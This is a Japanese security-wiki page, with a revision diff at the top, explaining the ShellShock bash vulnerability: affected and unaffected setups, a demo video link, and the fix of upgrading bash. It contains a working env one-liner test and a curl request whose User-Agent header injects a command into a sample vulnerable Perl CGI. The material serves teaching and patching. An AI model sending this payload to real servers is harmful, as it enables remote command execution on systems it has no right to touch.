「ShellShock」の版間の差分
提供: セキュリティ
(ページの作成:「ShellShock(シェルショック) とは、Unixのシェルの1つのbashの脆弱性です。ShellShockでは、シェルを起動してコマンドを...」) |
(→デモ) |
||
行43: | 行43: | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== デモ == | == デモ == | ||
− | [ShellShock]]のデモの動画です。フォントが小さいので、画面を最大化し、HDの最大画質で見てください。 | + | [[ShellShock]]のデモの動画です。フォントが小さいので、画面を最大化し、HDの最大画質で見てください。 |
+ | |||
+ | |||
<html> | <html> | ||
<iframe width="300" height="169" src="https://www.youtube.com/embed/tbYMlyYRrgg?rel=0" frameborder="0" allowfullscreen></iframe> | <iframe width="300" height="169" src="https://www.youtube.com/embed/tbYMlyYRrgg?rel=0" frameborder="0" allowfullscreen></iframe> | ||
行49: | 行51: | ||
YouTube で視聴される方は、 https://youtu.be/tbYMlyYRrgg から閲覧できます。 | YouTube で視聴される方は、 https://youtu.be/tbYMlyYRrgg から閲覧できます。 | ||
+ | |||
== 対応方法 == | == 対応方法 == | ||
[[bash]]のバージョンを上げるだけで対応できます。 | [[bash]]のバージョンを上げるだけで対応できます。 |
2015年11月8日 (日) 14:25時点における最新版
ShellShock(シェルショック) とは、Unixのシェルの1つのbashの脆弱性です。ShellShockでは、シェルを起動してコマンドを実行するタイプのウェブアプリケーションを利用して、リモートでコマンドを実行することができます。
読み方
- ShellShock
- しぇるしょっく
目次
概要
必ずしも脆弱性が利用可能というわけではありません。条件が揃ったときに、ShellShockは猛威を振るうかもしれません。
ShellShockは、環境変数に任意のコマンドを設定して、bashを起動することで、任意のコマンドを実行できます。bashコードインジェクションとも言われます。
プログラミング言語でコマンド実行に利用される system()関数などを用いている場合、system()関数は、OSのシェルを起動して、コマンドを実行します。このシェルは、環境によって、実行されるシェルが異なるため、bashに脆弱性があったとしても、ShellShockの影響を受けない環境もあります。 ウェブアプリケーションが system()関数を利用していて、system()関数がbashを起動している場合には、ShellShockの影響を受けます。
影響を受ける環境
- system()系の関数で bash が起動される
- /bin/sh が起動されていても、/bin/sh が /bin/bash のシンボリックリンクやハードリンクになっている場合は影響を受けます。
- 明示的に bash を起動してコマンドを実行している
影響を受けない環境
- FreeBSD は影響を受けません。
- system()系関数がbashを起動しない。
- ShellShockに対応したbashがもう入っている
ShellShockのデモ
bashに問題を確認する方法
$ env x='() { :;}; echo this bash is vulnerable' bash -c : this bash is vulnerable
ウェブアプリケーションの問題を利用する方法
curlコマンドを利用した、ShellShockの確認方法です。
$ curl -q -A "() { :; }; /bin/uname -a" http://localhost/test.cgi Hello Linux u1.local 3.13.0-23-generic #45-Ubuntu SMP Fri Apr 4 07:01:54 UTC 2014 i686 i686 i686 GNU/Linux
test.cgi の例です。
#!/usr/bin/perl print "Content-type: text/html\n\n"; print "Hello\n"; system("bash -c ls -l /etc/passwd");
デモ
ShellShockのデモの動画です。フォントが小さいので、画面を最大化し、HDの最大画質で見てください。
YouTube で視聴される方は、 https://youtu.be/tbYMlyYRrgg から閲覧できます。
対応方法
bashのバージョンを上げるだけで対応できます。